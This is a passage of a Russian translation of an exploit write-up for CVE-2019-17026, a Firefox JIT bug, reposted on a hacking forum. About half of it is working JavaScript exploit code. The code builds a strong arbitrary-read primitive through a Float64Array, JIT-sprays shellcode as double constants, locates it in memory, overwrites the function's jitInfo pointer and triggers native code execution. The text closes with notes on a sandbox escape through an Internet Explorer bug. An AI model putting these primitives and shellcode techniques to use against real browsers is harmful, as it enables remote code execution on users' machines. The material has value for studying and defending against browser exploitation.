Те, у кого зоркий глаз, вероятно, будут интересоваться, что бы произошло, если бы 4 наименее значимых байта адреса объекта оказались в пределах диапазона тега объекта. В этом случае программа выйдет из строя из-за характера слабого чтения. Поэтому немного более длинная версия этого, но, безусловно, более надежная, состоит в том, чтобы установить наиболее значимые биты адреса объекта на 0 (используя двойное значение, для которого это так) и сдвинуть указатель слотов обратно на его исходная позиция, чтобы наименее значимые байты можно было прочитать как двойные значения без риска сбоя:
14.png



Сильное чтение

Позже произойдет JIT-спрей, и этот JIT-код нужно будет прочитать, чтобы найти смещение для шелл-кода. Некоторые места в этом JIT-коде содержат значения, которые примитив слабого чтения будет рассматривать как объекты. Следовательно, требуется более сильный примитив чтения. Для создания этого примитива необходимо использовать объект, который может свободно читать и записывать указатели как дубликаты без использования NaN-boxing, вызывающего проблемы. Float64Array идеально подходит под эти критерии:

15.png


Адрес этого объекта может быть получен с помощью примитива addrof, к нему может быть добавлено смещение указателя буфера, а затем он может использоваться с примитивом слабой записи для указания на произвольные адреса. Затем их можно прочитать с помощью объекта Float64Array:

JavaScript:
target_buf = new Float64Array(1); // Used for the strong read
data_ptr = null; // Save the pointer to the data pointer so we don't have to recalculate it each read

// Saves the pointer to the data pointer so it doesn't have to be recalculated
function setup_strong_read() {
    arr_addr = weak_addrof(target_buf);
    dbl[0] = arr_addr;
    num[0] = num[0] + 56; // float64array data pointer
    data_ptr = dbl[0];
}

// The strong read
//    1. Write the target address to the data pointer
//    2. Read the first double from the location
function read(dbl_addr) {
    weak_write(data_ptr, dbl_addr);
    return target_buf[0];
}

На этом этапе требуется способ вызвать выполнение кода. Один из самых популярных способов сделать это при эксплуатации современных браузеров - это манипулирование JIT-кодом. Поскольку JIT-код генерируется из пользовательского кода, он в некоторой степени находится под контролем злоумышленника. В v8 распространенным методом является простое следование указателям от объекта WASM для достижения некоторого JIT-скомпилированного кода. Этот сегмент помечен как чтение/запись/выполнение и поэтому может быть перезаписан злоумышленником. SpiderMonkey, однако, помечает страницы JIT как чтение/запись при копировании кода JIT, а затем чтение/выполнение, как только это будет сделано, что означает, что злоумышленник не может записать свой собственный код в этот сегмент.

Чтобы решить эту проблему, используйте JIT-распыление. Этот метод включает использование постоянных значений (например, целых и двойных) для генерации шелл-кода в этом сегменте, а затем редактирование указателя страницы JIT в объекте функции, чтобы он указывал на эти постоянные значения, которые впоследствии обрабатываются как код.

JavaScript:
// Use constants to JIT spray shellcode
function shellcode(){
    find_me = 5.40900888e-315;      // 0x41414141 in memory - Used as a way to find
    A = -6.828527034422786e-229;
    B = 8.568532312320605e+170;
    C = 1.4813365150669252e+248;
    D = -6.032447120847604e-264;
    E = -6.0391189260385385e-264;
    F = 1.0842822352493598e-25;
    G = 9.241363425014362e+44;
    H = 2.2104256869204514e+40;
    I = 2.4929675059396527e+40;
    J = 3.2459699498717e-310;
    K = 1.637926e-318;
}

// Searches from the JIT location to find 0x41414141
function find_shellcode_addr(addr) {
    dbl[0] = addr;
    for(i=0;i<100;i++) { // Only search 100 qwords
        val = read(dbl[0]); // Strong read primitive
        if(val == 5.40900888e-315) {
            num[0] = num[0] + 8; // Past the find_me value
            return dbl[0];
        }
        num[0] = num[0] + 8;
    }
}

// Compile shellcode
for(i=0;i<0x1000;i++) shellcode();

// Get Shellcode address
shellcode_func = weak_addrof(shellcode);

// Get JSJitInfo structure
dbl[0] = shellcode_func;
num[0] = num[0] + 0x30;      // JSFunction.u.native.extra.jitInfo_
jitinfo = weak_read(dbl[0]);

// Get JIT compiled location
jit_addr = weak_read(jitinfo); // First value is a pointer to rx region
dbl[0] = jit_addr;

// For this we need the strong read primitive since values here can start with 0xffff and thus act as tags
shellcode_addr = find_shellcode_addr(jit_addr);

// Write the new JIT function address
weak_write(jitinfo, shellcode_addr);

// Trigger code exec
shellcode();

В экземпляре Firefox без тестовой среды этот шеллкод инициирует открытие xcalc:

16.png


Примечания к побегу из песочницы

CVE-2019-17026 использует процесс рендеринга, поэтому описанный выше эксплойт выполняется в браузере без тестовой среды. Чтобы этот эксплойт был эффективным в сценарии реального мира, необходимо выйти из песочницы, что потребует второй уязвимости. На мой взгляд, самая интересная часть этой цепочки эксплойтов - это то, как злоумышленники покинули песочницу. Хотя Internet Explorer не совсем обычная цель для APT в современную эпоху, есть вероятность, что это может быть просто побочным эффектом их выхода из песочницы, которая использовала уязвимость IE для выполнения кода через WPAD, что означает, что один баг может использоваться дважды для запуска в виде полной цепочки или один раз для выхода из песочницы Firefox.

Заключительные примечания

Что интересно в уязвимостях, используемых этой группой (CVE-2020-0674 и CVE-2019-17026), так это то, что это оба варианта ошибок, которые были раскрыты публично. CVE-2020-0674 является вариантом как CVE-2019-1367, так и CVE-2019-1429, а CVE-2019-17026 является вариантом класса ошибок CVE-2019-9810. Это говорит о том, что некоторые злоумышленники на самом деле неоднократно используют методологии вариантного анализа для успешного выявления похожих ошибок.

Источник: https://labs.f-secure.com/blog/exploiting-cve-2019-17026-a-firefox-jit-bug/
Автор перевода: yashechka
Переведено специально для портала xss.pro (c)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх